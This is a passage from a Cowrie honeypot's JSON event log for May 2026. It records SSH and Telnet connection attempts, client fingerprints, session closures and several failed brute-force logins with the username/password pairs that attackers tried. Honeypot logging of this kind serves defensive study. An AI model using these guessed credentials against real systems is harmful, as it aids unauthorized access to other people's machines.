encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:05.448188Z","src_ip":"119.96.193.72","session":"283ac4060820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":60346,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ca2b997499","protocol":"ssh","message":"New connection: 94.159.98.239:60346 (10.17.0.5:22) [session: 14ca2b997499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:06.070973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:06.098057Z","src_ip":"94.159.98.239","session":"14ca2b997499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:06.195121Z","src_ip":"94.159.98.239","session":"14ca2b997499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"openelec","message":"login attempt [root/openelec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:06.519934Z","src_ip":"119.96.193.72","session":"283ac4060820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198888","message":"login attempt [root/198888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:07.378665Z","src_ip":"94.159.98.239","session":"14ca2b997499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:07.783350Z","src_ip":"119.96.193.72","session":"283ac4060820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:08.500399Z","src_ip":"94.159.98.239","session":"14ca2b997499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34640,"dst_ip":"10.17.0.5","dst_port":22,"session":"f978fa1cf15d","protocol":"ssh","message":"New connection: 80.94.92.184:34640 (10.17.0.5:22) [session: f978fa1cf15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:08.623921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:08.803538Z","src_ip":"80.94.92.184","session":"f978fa1cf15d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:08.809403Z","src_ip":"80.94.92.184","session":"f978fa1cf15d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:09.488534Z","src_ip":"80.94.92.184","session":"f978fa1cf15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:10.681860Z","src_ip":"80.94.92.184","session":"f978fa1cf15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01077675819397,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:20.171410Z","src_ip":"152.42.224.71","session":"8fd0e3758b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.962010622024536,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:22.499521Z","src_ip":"152.42.224.71","session":"8dd83168e51b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158715248108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:23.273530Z","src_ip":"152.42.224.71","session":"32c7845cc403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.2528121471405,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:23.475875Z","src_ip":"152.42.224.71","session":"a4d491c9aade","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50012,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0f4a393b56","protocol":"telnet","message":"New connection: 152.42.224.71:50012 (10.17.0.5:23) [session: 0c0f4a393b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:27.856909Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e94065a56a69","protocol":"telnet","message":"New connection: 152.42.224.71:50016 (10.17.0.5:23) [session: e94065a56a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:30.090573Z"}
{"eventid":"cowrie.session.closed","duration":95.5277361869812,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:33.353572Z","src_ip":"152.42.224.71","session":"464c714db707","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45590,"dst_ip":"10.17.0.5","dst_port":23,"session":"1946e6e8ed3a","protocol":"telnet","message":"New connection: 152.42.224.71:45590 (10.17.0.5:23) [session: 1946e6e8ed3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:44.731385Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45596,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a32658d993","protocol":"telnet","message":"New connection: 152.42.224.71:45596 (10.17.0.5:23) [session: c4a32658d993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:45.761990Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32912,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61e02adcbc4","protocol":"telnet","message":"New connection: 152.42.224.71:32912 (10.17.0.5:23) [session: e61e02adcbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:46.224849Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32922,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcdde1223aa","protocol":"telnet","message":"New connection: 152.42.224.71:32922 (10.17.0.5:23) [session: 0bcdde1223aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:47.188314Z"}
{"eventid":"cowrie.session.closed","duration":58.1342568397522,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:48.686506Z","src_ip":"152.42.224.71","session":"6e0cba15cd26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32928,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26c937a4047","protocol":"telnet","message":"New connection: 152.42.224.71:32928 (10.17.0.5:23) [session: c26c937a4047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:49.383044Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":33772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f425791328db","protocol":"ssh","message":"New connection: 62.133.63.178:33772 (10.17.0.5:22) [session: f425791328db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:49.471497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:49.495970Z","src_ip":"62.133.63.178","session":"f425791328db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:49.596740Z","src_ip":"62.133.63.178","session":"f425791328db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":68.81396818161011,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:49.893891Z","src_ip":"152.42.224.71","session":"de86ae1ff506","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"renata","message":"login attempt [root/renata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:50.092854Z","src_ip":"62.133.63.178","session":"f425791328db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:51.221009Z","src_ip":"62.133.63.178","session":"f425791328db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":113.05094456672668,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:51.353246Z","src_ip":"152.42.224.71","session":"10332abc37fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.107301473617554,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:53.963992Z","src_ip":"152.42.224.71","session":"0c0f4a393b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.959892988204956,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:55.884122Z","src_ip":"152.42.224.71","session":"c9effa58cc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"258b4f5d4b49","protocol":"telnet","message":"New connection: 152.42.224.71:46434 (10.17.0.5:23) [session: 258b4f5d4b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:58.675404Z"}
{"eventid":"cowrie.session.closed","duration":120.00209832191467,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:10:59.343990Z","src_ip":"152.42.224.71","session":"ec3f5c4c56c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.98773193359375,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:04.663003Z","src_ip":"152.42.224.71","session":"258b4f5d4b49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":55680,"dst_ip":"10.17.0.5","dst_port":22,"session":"261c7db175c8","protocol":"ssh","message":"New connection: 51.250.105.222:55680 (10.17.0.5:22) [session: 261c7db175c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:05.928180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:05.932082Z","src_ip":"51.250.105.222","session":"261c7db175c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:06.063495Z","src_ip":"51.250.105.222","session":"261c7db175c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elizaveta","message":"login attempt [root/elizaveta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:06.455288Z","src_ip":"51.250.105.222","session":"261c7db175c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:07.588924Z","src_ip":"51.250.105.222","session":"261c7db175c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.85724592208862,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:08.947680Z","src_ip":"152.42.224.71","session":"e94065a56a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":45978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d74e97f5b667","protocol":"ssh","message":"New connection: 45.78.230.231:45978 (10.17.0.5:22) [session: d74e97f5b667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:09.362172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:09.366458Z","src_ip":"45.78.230.231","session":"d74e97f5b667","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:09.662698Z","src_ip":"45.78.230.231","session":"d74e97f5b667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:10.874988Z","src_ip":"45.78.230.231","session":"d74e97f5b667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:12.154463Z","src_ip":"45.78.230.231","session":"d74e97f5b667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46580,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b0a2f06eac","protocol":"telnet","message":"New connection: 152.42.224.71:46580 (10.17.0.5:23) [session: e0b0a2f06eac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:13.209599Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b794eeb25004","protocol":"telnet","message":"New connection: 152.42.224.71:46596 (10.17.0.5:23) [session: b794eeb25004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:14.894322Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":32826,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6572997d9a5","protocol":"ssh","message":"New connection: 109.172.54.111:32826 (10.17.0.5:22) [session: f6572997d9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:24.733182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:11:24.740272Z","src_ip":"109.172.54.111","session":"f6572997d9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 